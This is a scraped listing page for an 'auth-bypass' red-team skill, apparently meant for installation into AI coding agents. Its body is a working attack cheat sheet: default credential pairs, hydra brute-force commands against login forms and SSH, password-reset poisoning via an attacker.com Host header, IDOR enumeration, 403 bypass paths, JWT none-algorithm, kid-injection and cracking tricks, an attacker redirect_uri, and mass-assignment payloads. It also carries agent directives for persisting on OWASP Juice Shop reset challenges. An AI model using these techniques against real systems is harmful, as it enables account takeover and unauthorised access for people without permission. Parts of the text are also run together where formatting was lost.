ワンクリックで
auth-bypass
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
メニュー
Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Business logic vulnerability detection — workflow bypass, price manipulation, state abuse, and application-specific flaws
Detect PII, credentials, and corporate sensitive data in API responses, source code, files, headers, and database extracts
Detect and exploit SQL injection vulnerabilities in web application parameters
Detect and exploit cross-site scripting vulnerabilities in web applications
Discover hidden parameters, test values, and identify input handling anomalies
File upload vulnerability testing — webshells, bypass, path traversal
| name | auth-bypass |
| description | Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses |
| origin | RedteamOpencode |
admin:admin admin:password admin:123456 root:root root:toor test:test guest:guest
Check username enumeration: different errors for valid/invalid users, timing diffs, selective lockout.
run_tool hydra -l admin -P /usr/share/wordlists/rockyou.txt target http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
run_tool hydra -l admin -P /usr/share/wordlists/rockyou.txt target http-get /admin
run_tool hydra -l root -P passwords.txt target ssh -t 4
# Rate-limited: -t 1 -W 5
Host: attacker.com in reset requestemail=victim@mail.com&email=attacker@mail.com/rest/user/security-question, /rest/user/reset-password, or exposed backup/source artifacts exist, do not stop at "unknown answer". Correlate answers from source bundles, /ftp backups, incident files, leaked credentials, and OSINT hints; replay reset for high-value users such as admin@juice-sh.op, bjoern@owasp.org, support/admin accounts, then immediately verify login and record the solved challenge/finding evidence.Bjoern's Favorite Pet / Bjoern reset recall, treat a single wrong answer (for example one Zatschi attempt) as incomplete. Before closure, enumerate candidate pet answers from source bundles, comments, profile metadata, /ftp documents, and OSINT snippets, try the highest-confidence candidate set in a bounded pass, and if still blocked return REQUEUE with the exact candidate list and artifacts checked.REQUEUE_CANDIDATE naming the missing answer source and the exact endpoints/artifacts already checked, so a later source-analysis or exploit pass can finish the chain instead of retiring it silently."success":false → true), backup code enumerationGET /api/user/1001/profile → /api/user/1002/profile # Horizontal
GET /invoice?id=5001 → ?id=5002
# Test: sequential IDs, leaked UUIDs, Base64 decode/modify/re-encode
# param pollution: ?id=1001&id=1002, method swap: GET→PUT/DELETE
# Vertical: regular user → admin endpoints
/admin /admin/dashboard /console /debug /internal /api/admin/users /graphql
Check if 302 redirect body contains protected content (curl without -L).
GET /admin/delete → 403, POST /admin/delete → 200
# Override headers: X-HTTP-Method-Override, X-Method-Override, X-Original-Method
/admin→403 /ADMIN→200 /admin/→200 /./admin→200 /admin;.js→200
/%2fadmin→200 /admin%20→200 /admin..;/→200 (Tomcat/Spring)
# Decode: echo "HEADER_B64" | base64 -d
# None algorithm: {"alg":"none"}, remove signature → HEADER.PAYLOAD.
# Weak secret: hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# Payload: change role/sub/exp claims
# Key injection: kid="../../dev/null" → sign with empty secret
# jku: point to attacker JWK set URL
jwt_tool TOKEN -T # Tamper
jwt_tool TOKEN -C -d wordlist.txt # Crack
redirect_uri=https://attacker.comPOST /register {"username":"test","password":"test","role":"admin"}
PUT /api/profile {"name":"test","role":"admin","is_staff":true} # Mass assignment
# Trust headers: X-Forwarded-For: 127.0.0.1, X-Original-URL: /admin